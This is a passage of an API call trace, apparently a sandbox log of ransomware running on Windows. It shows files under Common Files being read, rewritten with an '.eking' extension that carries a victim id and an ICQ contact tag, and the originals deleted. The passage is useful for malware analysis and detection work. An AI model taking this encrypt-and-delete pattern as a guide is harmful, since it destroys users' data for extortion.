files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0282.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0282.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0282.737] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0282.737] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0282.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e0 [0282.969] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x5f4b0, lpOverlapped=0x0) returned 1 [0283.114] WriteFile (in: hFile=0x2e0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x5f4c0, lpOverlapped=0x0) returned 1 [0285.056] WriteFile (in: hFile=0x2e0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0285.056] CloseHandle (hObject=0x2d8) returned 1 [0285.056] CloseHandle (hObject=0x2e0) returned 1 [0286.388] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0286.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0286.390] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.390] CloseHandle (hObject=0x2ec) returned 1 [0286.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0286.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0286.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.425] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.425] CloseHandle (hObject=0x2fc) returned 1 [0286.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0286.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0286.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.427] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=27045) returned 1 [0286.427] CloseHandle (hObject=0x2fc) returned 1 [0286.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0286.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0286.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.428] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0286.428] CloseHandle (hObject=0x2fc) returned 1 [0286.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0286.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0286.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.429] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0286.429] CloseHandle (hObject=0x2fc) returned 1 [0286.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0286.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0286.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.430] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.430] CloseHandle (hObject=0x2fc) returned 1 [0286.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0286.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0286.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.431] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0286.431] CloseHandle (hObject=0x2fc) returned 1 [0286.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0286.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0286.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.432] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0286.432] CloseHandle (hObject=0x2fc) returned 1 [0286.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0286.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0286.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.433] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=111320) returned 1 [0286.433] CloseHandle (hObject=0x2fc) returned 1 [0286.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0286.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0286.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.434] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=48936) returned 1 [0286.435] CloseHandle (hObject=0x2fc) returned 1 [0286.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0286.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0286.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.435] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=46622) returned 1 [0286.435] CloseHandle (hObject=0x2fc) returned 1 [0286.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0286.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0286.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.437] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=84190) returned 1 [0286.437] CloseHandle (hObject=0x2fc) returned 1 [0286.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0286.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0286.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.438] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=180172) returned 1 [0286.438] CloseHandle (hObject=0x2fc) returned 1 [0286.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0286.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0286.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.439] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=208408) returned 1 [0286.439] CloseHandle (hObject=0x2fc) returned 1 [0286.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0286.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0286.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.440] GetFileSizeEx (in: hFile=0x2fc, 